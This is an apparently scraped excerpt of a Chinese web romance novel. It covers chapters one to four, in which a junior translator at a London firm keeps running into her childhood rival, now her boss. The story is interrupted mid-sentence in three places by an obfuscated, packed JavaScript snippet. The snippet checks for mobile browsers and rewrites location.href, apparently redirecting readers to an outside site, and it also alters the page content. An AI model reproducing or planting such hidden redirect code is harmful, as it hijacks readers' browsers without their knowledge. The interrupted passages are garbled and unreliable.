《被上司冒充了Crush怎么办》 1. 老板 中文组的格子间里,许知韵的手机突然震了一下。 学长:【会议还有一会儿才结束,你稍微等我一下。】 大约每个打工人都痛恨下班前五分钟才叫人开会的上司,许知韵不太高兴地撇撇嘴,依然好脾气地回了句【好的】。 周五下午五点,是利德贺街一周里最堵的时候。 红红白白的车灯,从一眼望不到头的中央线银行站排过来,像一条被扼住了呼吸的巨蟒。 作为全欧洲,乃至于全球都知名的翻译界翘楚,TROSOL坐落于伦敦金融城的繁华地段。 许知韵仍然记得自己拿到这家offer的那天,高兴得从浴室裸奔出来,抱着室友嗷嗷叫了半个小时才平复。 如今想来,当时的激动虽说肯定有公司光环的功劳,但她也很难否认自己存着的另一份私心。 其实从研究生入学以来,许知韵就看上了系里那个比她大一届的学长。 学长来自港城一个小富的家庭,为人谦逊,成绩优秀,一毕业就进了全欧洲最大的翻译公司TROSOL。 也是从那时起,许知韵就把这所公司列为了自己毕业的首选。 如果她能顺利入选,那么除了收获一份实在不错的工作,那位学长还有非常大的可能,会成为她的入职导师。 后来事情的进展也确实如她所料,除了…… 学长昨天突然被派了个in-house的驻场任务,时长取决于客户的项目,但至少在三个月往上。 这样一来,她的入职导师就要换人了。 不情愿归不情愿,许知韵没有反对高层决策的能耐,所以今晚她特地约了学长吃饭,决定无论如何,先给对方留下个千里姻缘慢慢牵的伏笔。 桌上手机忽然亮了起来。 是妈妈打来的视频。 现在这个时间,国内已经是凌晨一点,许知韵赶紧拿起手机,避到没有人的楼梯间。 电话接起,屏幕上出现两张红光满面的脸,爸爸和妈妈都在,一见她出现,两人便情绪高涨地叫了声“韵韵”。 许知韵赶紧戴上了耳机。 “听得到吗?” “嗯。”许知韵点头,捂着嘴小声追问:“怎么这么晚打电话?是有什么急事……” “你还记得以前住在老院子里的那个李珏吗?”没说完的话被妈妈的激动打断了。 “今天是她们家请客,小珏也真是有出息,今年国考考去了海关。那可是万里挑一的好工作,你说你要是当时不出国……” “妈,”许知韵有点心烦地打断了妈妈。 和许多的中国父母一样,许知韵的爸妈也是从小就对她给予厚望,教育上更是倾尽全力,望女成凤。 她爸妈都是国企员工,许知韵小时候就是跟着一群孩子住在一个偌大的家属区。这样一来,父母之间免不得暗中攀比较劲。 今天是老张家的儿子拿了书法大奖被保送,明天是小李家的闺女考了年级第一,但无论是谁优秀,父母总要在赞赏别人的同时,不忘对她补上一句,“你看看人家。” 这些话许知韵听得多了,渐渐也产生了逆反,特别是在伦敦独自打拼了两年之后的今天。 许知韵有意拉开话题,问两人到,“外婆睡了吧?你们有空也可以教她用用视频电话,这样免得每次都要等你们。” “哦,好。”妈妈随口应了,转而又投入到自己的话题,“当时那个大院里出来的孩子,我看就属李珏最争气。真羡慕她父母,能有个那么好的女儿,哎……” 这声意犹未尽的叹息很是微妙,许知韵一时语塞,视频也因此安静了两秒。 “哦,不对!” 另一头的妈妈完全没有察觉许知韵的情绪,自顾纠正,“我怎么把另一个忘了,以前住在咱家隔壁的那个严聿你还记得吧?这次去小珏的宴会,听原先的邻居说他现在可不得了!好像是毕业就去了欧盟还是英国外交部来着?李阿姨说前年英国首相的国事访问,身边跟着的翻译就是他,那首相叫啥来着……” “鲍里斯·约翰逊。” “哦对对对!就是他!”电话那头的人情绪激昂,还不忘确认,“是真的吗?” 许知韵可有可无地“嗯”了一声,之后,果然听到那句虽迟但到的,“都是做口译,你看看人家。” 妈妈的说教复盘年复一年,许知韵几次试图打断都无济于事。那些喋喋不休就像大圣耳边的紧箍咒,听得她太阳穴突突地跳。 “严聿早就不在外交部了!” 终于,许知韵憋足一口气,叫停了妈妈的唠叨。 “不在了?”对面愣了一瞬,显然不信,“你又不在外交部,你怎么会知道?” 许知韵头疼地揉了揉眉心,“他现在跟我在一个公司。” 话落,视频两边都安静了。 许知韵盯着屏幕上妈妈错愕的神情,快刀斩乱麻地道:“他去年从外交部辞职来了TROSOL,信息公开,公司官网上都能查到的。” 她囫囵地补充,“我这边还在开会,就先不说了,你们时间也晚了,早点休息。” 说完也不等那边告别,匆忙挂断了视频。 许久没有响动,声控灯熄了。不见阳光的楼梯间安静下来,漆黑一片,还残留着刚才通话的回响,萦绕在耳边,像一群嗡嗡乱飞的苍蝇。 不得不承认,从小到大,父母还真懂怎么摧毁她的好情绪——精准打击,从不落空,威力简直堪比三叉戟弹道导弹。 她有些疲惫地靠在楼梯扶手上,黑洞洞的视野,墙根处一点荧绿色逃生指示灯,思绪不自觉就回到了上周的新人入职茶歇。 其实刚才,许知韵刻意隐瞒了一些信息。 比如,父母口中的严聿,现在不叫严聿,他有个正儿八经的英文名,叫利奥·达西。 而且,他现在也不只是许知韵的同事,准确来说,也是TROSOL董事会高薪聘请的业务合伙人,持有英国公司10%的股份。 巧合的是,严聿是与许知韵这一批新人一道确认加入TROSOL的。她和公司里的其他员工一样,初次窥见首席翻译真容,就是在那场迎新的茶歇。 五十层的CBD凌空高楼,披着整座城市的初阳,深灰色西装的男人从人群后从容迈入会场,神情肃穆又冷峻,一身简单的单排扣套装,看得出刻意维持的低调,却被他穿出了造访唐宁街十号的气势,优雅沉稳,姿态浑然天成。 若不是细碎额发下,那道若隐若现的旧疤,许知韵简直不敢相信自己是在这八千多公里外的伦敦,偶遇了幼时的死对头。 “这位是翻译部中文组新入职的实习生,来自中国的Zinnia,许知韵。”人事总监琳达笑着跟严聿介绍。 “你好Zinnia。” 沉稳而干净的声音,疏朗有力。 许知韵愣了三秒,反应过来,她已经被对面的男人捉住了指尖。 也是那一天许知韵才知道,原来严聿来到英国后,就改了自己的名字,跟着英国的继父姓了达西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949806|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是的,就是简·奥斯汀笔下Mr.Darcy的那个达西。 而这么多年过去,这位达西先生听着琳达对许知韵的介绍,全程礼貌疏离,分寸得当,就连最后的问候握手,也只是礼节性地碰了碰许知韵的指尖,仿佛两人真是初次见面的陌生人。 人模狗样。 这是许知韵看见严聿的第一反应。 她全程挂着得体的职业微笑,脑海里却全是小时候这人的欠揍模样。 大热的盛夏,许知韵因为没有考到年级第一被妈妈罚站在阳台,这人就偏要捧一本书在阳台看。 ……谁家好人没事会在阳台看书啊?! 是家里没灯吗? 真是有病! 许知韵恨不能用翻着白眼的双眼皮夹死他。 而许知韵的父母还乐得为两人添油加火,在他们口中,严聿永远是那个“别人家的孩子”。 许知韵呢?就是那个哪儿哪儿都比不上人家的倒霉丑小鸭。 许知韵当然咽不下这口气,就开始联合院里的孩子一起孤立严聿。 可严聿本就是个淡漠的性子,年龄也比她大三岁,对她这种幼稚的伎俩根本懒得搭理。 于是两人就这么明里互不理睬,暗里相互攀比地一直较劲到许知韵去了外地读高中才算结束。 可如今八千公里,八十亿人,许知韵偏偏又遇到他,也不知该感叹命运的馈赠还是捉弄。 好在那天的见面过后,两人便再也没了交集。 作为一名新入职的菜鸟,许知韵安守本分,准时上班下班,在直属上司面前保持良好曝光,在上司的上司面前能隐则隐,就连上厕所和接水,都会刻意绕行,避免经过严聿的办公室。 严聿倒也没有为难或者刻意找她的麻烦,毕竟这么多年过去,大家都长大了,没有人会对以前那些幼稚的事情耿耿于怀。 况且严聿如今混到这个位置,许知韵觉得他大约也没有那么无聊——只要她保持低调,努力在他面前当个隐形人。 手里传来的轻震让许知韵回神,她看着漆黑周遭里亮起的手机屏幕。 学长:【会议结束了,你在哪里】 许知韵整理好神游的思绪,快速回复:【我刚接了个电话,现在回办公区。】 学长:【我刚在办公区找了一圈没见到你,就往楼下走了,要不我现在上来?】 许知韵本来想回一句算了,可是手上一顿,却回了句:【好呀~】 还不忘配上个撒娇星星眼的可爱小表情。 按下发送,许知韵倒是不着急了。 她先回到工位收拾了东西,又转去洗手间认真补了个底妆和口红,这才满意地转回中文组办公区,在外面的电梯口遇到了等候的学长。 “学长!”许知韵小跑过去,一双晶亮亮的眼睛弯弯地望向她,笑靥如花。 “你等久了吧?”她明知故问,在看见学长两只红红的耳朵后,笑得更是明媚。 “也没等很久。”学长故作镇定,却下意识回避她的视线,许知韵洞若观火。 “叮——” 电梯到达,学长上前一步,侧身为许知韵挡住洞开的门。 “部长?” 头顶响起学长略微惊诧的声音,许知韵抬头,正撞上电梯里那双清透疏远的深眸,不知怎的心口就跟着颤了一下,下意识想往后退。 然而电梯里的男人眼神落在她匆匆后撤的右脚,而后不动声色地挪步,恰好让出了两人的位置。 “下去吗?”他问。 2. 老板 隆隆轻响,电梯下行。 时隔多年的近距离接触,说不尴尬是假的。 许知韵凛直背脊,站在电梯的角落,和严聿中间隔着学长。 本以为对方邀请共乘,会主动寻找话题,然而从两人进来到现在,严聿都只是面色如常地站着,丝毫没有主动开口的意思。 密闭的空间、五十层的漫长距离,男人身姿笔挺形容冷峻,他似乎很注重翻译的职业礼节,西装规整、领带是线条更为流畅的普拉特结,甚至刻意避免了使用浓烈的香水,只有清冽的剃须水味道。 不知是电梯空间过于逼仄,还是严聿身上那股无孔不入的摄人气场,只是安静地与他共处一室,许知韵都幻觉难以呼吸。 尴尬无措的时候,时间很容易错觉被无限拉长。 许知韵仰头数着显示板上的数字,简直度秒如年。 终于,学长开口打破沉寂。 “驻场前的工作交接我已经整理好,今天下班前发到Fiona邮箱了。” 可能是因为面对着上司的老板,学长在用词上都更为正式。 “整理”这个词,他用的anize,而不是更为日常的sort out,倒真像是下属一板一眼地汇报工作。 于是许知韵忽然反应过来,如果学长特地跟严聿提起那个需要驻场的项目,是不是也意味着,这份工作其实是严聿安排的? 可是身为合伙人,严聿又怎么会无聊到亲自给一个小翻议安排项目? 思绪纷乱,眼神也就不受控制地滑到了前面紧闭的电梯门。 锃亮反光的镜面上,那双冷如雕塑的眸子压下来,正好撞上许知韵略微狐疑的目光。 心跳猝然一滞,她赶紧假作无意地移开了视线。 “嗯。” 严聿低声回应,末了还面无表情地补充,“以后非工作时间都可以跟我说中文,我十八岁以前都生长在中国,中文才是我的母语,听起来更亲切舒服,还有……” 声音逐渐清晰,说话的人似乎转向了两人的方向。 “叫我Leo,部长这个称呼,会让我觉得自己像个已经中年秃顶的英国老头。” 也许是因为他过于冷肃的气场,饶是和缓的语气,许知韵也错觉从中听到了几分警告和嫌弃。 学长愣了愣,尴尬地笑着应了声,“好”。 电梯门到达写字楼的大厅层,许知韵跟着学长同严聿道别,往银行站搭乘中央线。 伦敦的周五傍晚,车水马龙的不止是街道。 两人来到位于中国城的文兴酒家,这里也早已是人满为患。 等候煮菜的间隙,他们又随意聊了些工作。迷蒙的水汽上来,许知韵的思绪不知怎的,就回到了电梯里跟严聿对视的那一眼。 “你好像很崇拜Leo?” 问题出口,她当即就有些后悔。许知韵怕学长看出她话里话外对严聿的探究,只能用筷子搅动面前的牛油汤回避着视线。 学长被这个问题打开了话匣子,毫不掩饰地接话到,“是啊,我连手机号都故意找的跟他只差一位数的号,他是7我是1,嘿嘿!长得多像。” 许知韵扯了扯嘴角,心道这也太夸张了。 学长却还在滔滔不绝,“BA读的是能源与工程动力,跟Leo就是校友。我们那一届的开学典礼他受邀作为荣誉校友致辞,可以说我MA选择口译专业,有很大一部分原因就是因为他。” “啊?”许知韵有些意外。 “对啊。”学长回应得倒是坦然,“撇开他在英国外交部的任职经历不谈,就说职业资格一项。” 学长伸出手来,满脸艳羡地如数家珍,“AIIC荣誉会员、CIOL会士、大型国际会议担任口译、还有口译方向的专著发表、威斯敏斯特高翻院最年轻客座教授,总之……” 学长不忘总结,“Leo就是口译这行,名符其实的Mr. Big.” “Big?”许知韵蹙眉,思绪忽然就飘到了奇怪的地方。 “牛肉煮好了。” 她赶紧夹起一片红亮亮的牛肉放进学长碗里,总算是打断了他喋喋不休的盘点。 果然,人生百事皆烦恼,火锅一涮全忘了。 这一顿久违的美食,成功让学长的思绪从严聿转移到各种祛辣的凉茶。其间学长端茶递水,很是照顾许知韵,这点让她颇为满意。 酒足饭饱,等到两人从火锅店出来,已经是晚上九点半。 学长不放心她大晚上一个人乘车回去,专程绕路送了她一段,两人在换乘站道了别。 许知韵对着列车里的学长挥手,刚找了个空位坐下,包里的手机就震了起来。 拿出来一看,果然是学长发来的信息。 学长:【今天聊的很愉快,我们回来再约。】 小幸韵:【嗯,回来换你带我去吃你的家乡菜。】 学长:【没问题,你注意安全,早点回家。】 许知韵嘴角挑起一抹笑,故意逗他:【暂时还不打算回家哟,跟别的朋友还有约。】 对面安静几秒,屏幕上很快便跳出“对方正在输入”几个字。 等了好一会儿,学长的界面才出现新的信息:【这么晚还有约?】 【对呀。】 这一次,许知韵言简意赅,什么都不再多说。 果然,屏幕上方的“正在输入”又亮了起来。 学长似乎删删改改犹豫很久,许知韵盯着那行小字看得屏幕都快要自动锁掉,才等来对方一句简短的:【是要去酒吧吗?】 许知韵简直被他这点昭然若揭的小心思逗乐,毫不迟疑地回了个猫猫点头的表情包,然后就再也不搭理学长的信息。 吊足了对方胃口,许知韵心满意足地摁灭了手机。 远处有轰隆隆的声响传来,列车快要进站,许知韵拎起包包,往站台的方向走去。 这个时间的地铁站旅客不多也不少,许知韵眺望车来的方向,一不留神,就跟迎面走来的一个金发西装男人对上了视线。 剪裁流畅的西装、头发梳得规整、晚餐过后、中国城附近的地铁站,许知韵将他扫了一遍,很快得出结论——对方也是周末下班后刚聚完餐。 “晚上好。” 男人笑着跟许知韵打招呼,“我刚才在那边就注意到你了。” 典型的白男搭讪开场白,在伦敦的两年里,许知韵早就听得耳朵长茧。不过她今天心情好,等地铁又实在无聊,她不介意跟那人多聊两句。 于是她挑眉做出惊讶的模样,问他,“注意到我什么?” “你很美。”男人的称赞毫不避讳。 他目光落在许知韵的唇,“你的口红颜色很漂亮,特别适合你。” 很好,夸到点上了。 比起那些自作聪明的油腻搭讪,许知韵一向更喜欢这种观察入微的务实派。 口红是她新入的限定款,和今天的包包鞋子都做了搭配,能看出这一点,说明对方也是个情场老手。这种人许知韵会比较小心一点,但聊骚解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949807|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷儿却实在是个不错的选择。 “Excuse me.” 突然,许知韵被擦身而过的人撞了一下。 她下意识回头,看见一个用连帽衫把自己罩了个透的黑衣男人。 作为宇宙中心之一的伦敦,每个月光是发生在地铁站的抢劫事件就有上千起。 许知韵心头一怔,当即就反应过来,但包包已经被人猛地抓住了! 变化发生在一瞬。 许知韵几乎下意识就死死攥住了手里的包,而这样的行为显然激怒了帽衫男,他愣怔过后抬腿就往许知韵腿上踹去。 脚上趔趄了一下,身后响起列车进站时的鸣笛。 许知韵大呼救命,而刚才的西装男却早已不见了踪影。 爹的团伙作案! 许知韵骂骂咧咧,血脉觉醒,胎腿就往那黑衣人腿上踹,分神之时只觉被人猛地一推,整个身体都失控一般,踉跄着往道床下面扑去! 明晃晃的车头灯划破黑夜而来,整个站台都跟着震颤起来。 摇摇欲坠的霎那,腰间一紧。 她忽然被一股强大的力道拽了一下,生生改变了坠落的轨迹。 而刚才的动静也引得路人侧目,有几个热心市民自发拦截抢包的男人,那人见状不妙,扔下许知韵的包后,仓皇逃窜。 惊魂一刻,许知韵整个人都还是懵的。 直到路人拾起散落在地上的物件递还给她,许知韵才浑浑噩噩地连着说了好多句“谢谢”。 “搭讪还开心吗?” 耳畔响起熟悉的声音。 许知韵一愣,回头便见那双极有辨识度的眉眼—— 是严聿。 上班时候都千躲万躲的人,怎么能在地铁站遇到?还被他看到自己这么狼狈的一面,真是见了鬼了…… 许知韵惊讶得差点忘了表情管理,好在身后的地铁在这时停稳,车门打开,地铁站又恢复了人来人往的热闹和嘈杂。 短暂的目光接触后,她干脆埋头开始收拾自己的东西。 “许知韵。” 冷淡的声音再次响起。 他像小时候一样叫他许知韵,而不是公司里通用的英文名Zinnia。 许知韵心头一跳,假笑着回了句,“没事,谢谢Leo。” 严聿一言不发,看着她趴在地上手忙脚乱,那双锃亮的牛津鞋往后挪了一寸,露出地上一排粉色包装袋…… 许知韵眉心一跳,看见那只骨节分明的大手里安静躺着的均码小雨帽,当真有股想要原地去世的冲动。 “谢谢。”她不动声色地稳住情绪,飞快将东西塞进了包包。 “跟Dylan吃饭去了?” 男人声音低沉,不像寒暄的寻问,倒像是父母在查岗。 许知韵有点反感,但碍着公众场合和对方上司的身份,只敷衍着回了句,“便饭。” “吃便饭随身带套?” “……”熟悉的语气,熟悉的讨厌,许知韵抽了抽嘴角,心道自己之前真是瞎了狗眼,才会觉得过了几年,这人就会变样。 事实证明,之前公司里的正经,都只是这人碍着自己的身份,装腔作势。 “所以怎么?”许知韵语气不善,“均码的尺寸也让你自卑?” 果然,严聿意料之中的脸色一黑。 许知韵懒得搭理他,借口整理包包回避视线,可是翻着翻着,许知韵猛然抬头看向严聿,一脸错愕地道: “我手机好像丢了。” 3. 老板 许知韵用严聿的手机报了警。 这种偷盗的小案子,伦敦每天不知要发生多少起。警察简单询问了事件经过后,就让许知韵等消息了,其间甚至都没有派警员来现场看一眼。 许知韵知道,自己这手机想靠警察找回来,概率几近于零了。 好好的约会之夜闹成这样,许知韵实在是说不上心情好,她也不想跟严聿多说,简单道谢过后,就拿了手边的包,起身准备离开。 可是刚才站起,一边脚踝便是一阵钻心的刺痛。 许知韵蹙眉“嘶”了一声,眼看又要朝地上扑去。腰上被一只带着热度的大掌拦了一下,手臂就绕过了蓝黑色西装流畅的肩线。 许知韵只觉身体一轻,反应过来,膝窝已经被人揽住,双脚远离地面。 她应该也是不想和许知韵多说,一言不发地抱了人就走。 许知韵看着自己摇摇晃晃的双脚傻眼,愣了半晌,炸毛似的挤出一句,“你做什么?!” 严聿垂眸睨她,一脸的不耐,“腿这么短,要是再截肢就真变英国柯基了。” “???”许知韵简直气死,刚想挣扎,身体就冷不防被人重重地颠了颠。 严聿言简意赅地命令,“手机在我包里,叫车。” * 近郊的公寓不算新,电梯的空间也就格外逼仄一些。运行时喀哒喀哒地轰响,头顶还有一阵莫名的凉风,吹得许知韵发丝乱飞。 偏这抬老旧的电梯速度奇慢,许知韵余光看见反光的电梯门上,那个陷在蓝黑色西装里的自己,简直煎熬。 也是直到现在许知韵才发现,原来那个体格清瘦的少年,如今已然完全长开。 宽肩窄腰,气势凛人,结实的肌肉藏在平整丝滑的面料之下,有一种欲盖弥彰的克制张力。 刚才那点怨气鬼使神差地不见了踪迹,许知韵僵硬地维持着表面的淡定,一颗心却早已坐上开往顶点的云霄飞车。 “喀哒”一声,密码锁应声而开。 公寓里黑漆漆一片,室友还没有回来。 许知韵摸索着开了灯,才想起担心房间整洁这回事。好在室友简悠一向爱干净,两个人住的小公寓也是布置得温馨干净。 严聿将她放在了客厅的沙发上。 许知韵以为他要走了,赶紧想送,却没想这人转身往玄关走去,问她,“有急救箱吗?” “我真的没事,室友马上就回来了。” 严聿显然没听进去,片刻后,他拿着急救箱回来,蹲在了许知韵的面前。 男人手指修长,骨节分明,许知韵不算娇小型的女生,可脚踝到了他手里,也只是轻轻的一握。 他掀起一点许知韵小腿处的裙角,让她赤脚踩在了自己的大腿上。 西装是羊绒和丝绸的混纺,柔软细腻的同时又留有光泽和凉意,许知韵踩在上面,能感觉到下面男人微微鼓胀的结实肌肉。 气氛忽然就变得无比暧昧。 “我说了……” “别动。” 伺机想要撤离的脚被大掌捉住,也不知他有心还是无意,微凉的指腹在肿起的脚踝处轻蹭一下,疼得许知韵立马乖顺老实了。 严聿先是检查了一下她的伤势,而后便摸出手机,似乎是拨通了药房的外送电话。 “嗯,是的,就这些,请尽快送到……” 他扭头以眼神询问,许知韵任命地报上了公寓的地址。 除开脚踝的扭伤,她腿上还有两块破了皮的擦伤。严聿替她仔细清理后涂上了碘伏,而后打开急救箱,似乎是想找两片创可贴。 许知韵愣住,来不及制止的急救箱下层被拉开,里面一些粉粉蓝蓝的小袋子就迫不及待地爆飞出来—— Blazing lust play feel lubricant “……”许知韵看着试用小样上偌大的产品名称,差点呛死。 这些润滑液是室友在公司研发的新品,她之前拿了一些给许知韵,想邀请她测试体验一下,说是也可以配合着小玩具使用。 可是简悠这人给产品起什么名字不好,偏要叫Blazing Lust这么直白辛辣…… 果然,眼前男人若有似无地哂了一声,杀伤力不大,但侮辱性极强。 许知韵觉得他就是故意的! 一定是还记恨着自己刚才说他“对均码感到自卑”的话,搁这儿故意恶心她。 可偏偏严聿没问,许知韵也不能上赶着去解释,其实自己从来不用润滑液,一直都是自力更生、自产自销。 于是她清清嗓,只能平静而苍白地强调,“这是我室友公司给员工的小样,她自己放这里忘了,你看都过期了。” 说完,许知韵不死心地拿起一袋,指着上面喷印的一排数字给严聿看。 严聿根本不搭理她。 “……”吃了个哑巴亏,许知韵干脆扯来一个垃圾袋,一股脑儿把那些东西都装了进去,打了个死结,当着严聿的面扔进了垃圾桶。 严聿从冰箱里翻出两个冰袋,许知韵抢过来,自己假装忙碌地冰敷起脚踝。 房间里忽然变得很安静。 窗外不时有车辆驰过的声响,愈发衬托得室内两个沉默相对的人无话可说。 “许知韵。” 蹲在身前的人开了口。 许知韵“嗯”了一声,声音有些颤抖。 “为什么在公司里要假装不认识我?” “啊?!”许知韵简直冤枉,“我、我我我哪有?!你有自己的独立办公室,我上头是导师,导师上头还有组长……我没理由往你跟前凑吧?那可是在公司,同事们看到会怎么想?” “可是你每次去茶水间都会绕路。” “……”许知韵努力维持的微笑垮下来。 不是! 敢情这人天天窝在办公室不做事,就观察她走什么路线去倒水? “那不是坐得累了想活动活动筋骨吗?”许知韵熟练地打着哈哈,“而且细说起来,我俩都快十年没见了,也没有真的很熟吧……” “九年。”严聿沉声纠正。 “哦,九年。” “那你跟Dylan很熟吗?” “……”很好,一记回马枪,杀得她措手不及。 为了维护团队和谐、规避利益冲突,TORSOL其实并不鼓励办公室恋情,特别是面对上下级和实习期这样的敏感关系。 好在许知韵早已想好退路。 她眨着一双无辜的小鹿眼看向严聿,真诚且坦荡地道:“挺熟的。他是我们MA时期的同系学长,以前在高翻院的时候,就经常一起聚会的。” 话落,房间里再次安静下来。 他没有像别人那样,会接一句可有可无的“是吗”来缓和气氛,跟他的对话总是这么突然的开始,而后又断崖式的结束。 许知韵简直不理解严聿这狗哔为什么非要送她回家? 单纯为了让她尴尬,给她找不痛快吗? 那很好,恭喜他成功了。 许知韵有点心累,想摸出手机短信简悠让她早点回家。结果手伸出去,才想起自己现在没有手机,于是只能硬着头皮度秒如年地干耗。 好在门外终于响起敲门的声音。 Boots小哥的药品送货真是及时,许知韵三两下给自己敷好了药,然后一脸期待地看向严聿道:“我可以向公司请几天假吗?等我可以下地了就上班。” 这一问看似请假,实际也是提醒某人的“助人为乐”到此为止。 严聿终于起身整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949808|177503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了整被她踩皱的裤腿,点头道:“你明天给中文组的Fiona发个邮件,然后抄送我一份。” “诶,好的,谢谢Leo。”许知韵应得乖巧,还不忘跳着脚都要起来送人。 严聿蹙眉看了她一眼,不忘冷脸警告,“还有,今天我之所以送你回来,完全是因为我不想浪费公司的保险。如你所说,我们九年没见,也说不上多熟悉,所以以后在公司,就是单纯的上下级,别想着套近乎,知道了吗?” “……”她就知道这人狗嘴里吐不出什么好话。 “砰”的一声,世界归于寂静。 许知韵瘫倒在沙发上,欲哭无泪。 宿敌变上司,到底谁能比她更倒霉? 她翻来覆去地灾后重建了一把,才找来电脑,开始查找丢失的手机。 许知韵没有开启查找iPhone的功能。 因为之前看网上有博主说,手机的查找功能只能粗略定位到一个地址,你不可能去挨着搜人家的身,所以几乎没有任何意义。 再说了,很多人偷到手机后,如果发现查找功能开着,就只能拆掉手机卖零件,这样的话,手机才是真的永远找不回来了。 于是许知韵决定守株待兔。 偷到的手机刷了机后转手,新的买家要绑自己的卡,这样一来,许知韵通过手机序列号就能在网上找到绑定的新卡。 之后她再带着绑上的新卡信息去报案,成功率会大大地提升。 她左等右等,终于在手机被盗的第三天,等到了一封警局发来的邮件。 【您的手机现已成功找回,请您在方便时带上有效证件,前往警局认领。】 许知韵浑浑噩噩地去了。 一直到她握着手机回到公寓,许知韵都觉得这一场失而复得的闹剧,堪称离奇。 可是据警察说,手机是地铁站联系警方去取的,说是有热心市民在候车处的排椅底下发现了它,交给了地铁站的工作人员。 看来这世界上还是好心人多。 许知韵庆幸地想着,充好电,刷脸解锁了手机。 她把手机上上下下、里里外外都看了一遍,发现除了手机被刷机之外,其他都没有异常。 数据清理一空,好在原来的手机卡还在。 许知韵打开联络人姓名栏,发现仅剩一个紧急联系人。 她的紧急联系人一直是学长,许知韵没多想,直接向学长发去了好友申请。 学长的验证立即就通过了。 这个周末又是丢手机,又是崴了脚,真是倒霉透了。 许知韵捧着手机在床上滚了一圈,觉得自己都这么倒霉了,没理由不趁机求个安慰,好抓住机会狠狠地撩学长一把。 卧室的镜子里,女人小腿匀称白皙,瘦而纤薄的足弓弯成绝美的弧度,粉白脚趾细长圆润,简直像漫画里走出来的人物。 许知韵端详片刻,心里有了主意。 “叮——” 小幸韵:【约饭那晚在地铁站被人抢了包,脚踝摔肿了呜呜呜,手机也丢了,今天才找到,大哭jpg.】 小幸韵:【学长你看,这都是消了些肿的,好疼,要吹吹,可怜jpg.】 小幸韵:【图片】 照片上,女人穿了件藕粉色中长裙,她大约是侧身躺在床上,裙摆铺开落在膝盖,露出修长的小腿。 往下,是仍然敷着药膏的脚踝,细细的一把,一只手就能轻而易举地握住,脆弱不堪。 修长的手指在屏幕上双击,放大了那张图片。 她甚至还心机地涂了层肉粉色指甲油,两天前,他帮她冰敷的时候分明还没有。 屏幕幽蓝的光线变换,映上冷峻的眉眼。 严聿面无表情地退出聊天框,点开了公司邮箱。 4. 老板 入职才一周,许知韵不好意思缺席太久。 因为出事那天是周五,后面紧接着有一个周末,所以实际上,许知韵只向公司请了一天的病假,在周二的时候就回到了TROSOL。 高峰期的伦敦地铁中央线,挤得像货架上的沙丁鱼罐头。 许知韵瘸着条腿艰难前行,她记得昨天Fiona邮件通知,今天有个翻译部的部门会议要求全员出席。 许知韵紧赶慢赶,终于在临近迟到的最后一刻,赶丢了电梯。 “Shit!!!” 她气得狂摁着电梯咒骂,吓得后面的黑人小哥斜眼看她,默默换去了另一边等。 下了电梯,许知韵瘸腿狂跳,好容易赶到了会议室,看着长桌一头的那张冷脸,眼前一黑。 发邮件的时候,Fiona也没说严聿要参加啊,现在这样弄得多尴尬…… 许知韵猫着腰,打算从门口神不知鬼不觉地溜进去,刚成功挤进人群还没坐下,Fiona的招新介绍就被打断了。 “让我们欢迎今年进入的TROSOL中英翻译组的唯一新人,Zinnia。” 从天而降的惊喜,许知韵吓得一个趔趄,等她稳住身形,抬头却见中文部几十双眼睛正齐刷刷地看她。 “……” 说好的单纯上下级呢? 这种明目张胆地针对和打压立威,算哪门子的单纯? 小不忍则乱大谋。 顶着额头上豆大的汗珠,许知韵对大家挤出一个微笑,余光瞥见长桌尽头那个公报私仇的男人,握紧的拳头有斗大。 最后,会议开了足足一个小时,和许知韵相关的事情她数了下,加起来都不到5分钟就能说完—— 学长的派遣从三个月追加到六个月。 组里给她安排了新的导师。 许知韵萎靡不振地回了自己的工位,寻思着要是半年的时间都见不到学长一面,自己还有没有必要在这棵树上耗这么久? “你那许知韵吧?” 一口标准的东北普通话打断了许知韵的思绪。 她怔忡地看过来,只见面前站着个金发碧眼的高挑姑娘。 长及肩头的金发,碧蓝如洗的瞳眸,白到透明的皮肤,还有那十分典型的高鼻和突出的眉骨…… 眼前这姑娘看起来分明就是个不折不扣的欧罗巴人种,可是怎么说出的话,却带着股童叟无欺的纯正东北大碴子味儿? 许知韵有点懵,犹豫着不敢回答,那姑娘却没什么耐心地用鼻孔瞅她,又问了一遍,“你是那许知韵吧?” 许知韵点点头,“是我,请问你是……” 姑娘不理她,埋头从腋下抽出笔记本和钢笔,翻开,不紧不慢地道:“我是你新任导师尤莉娅,往后儿你归我管。” 听到尤莉娅这个名字,许知韵倒是有了点印象。 第一年入学高翻院的时候,她有几门课就是跟这个尤莉娅一起上的。 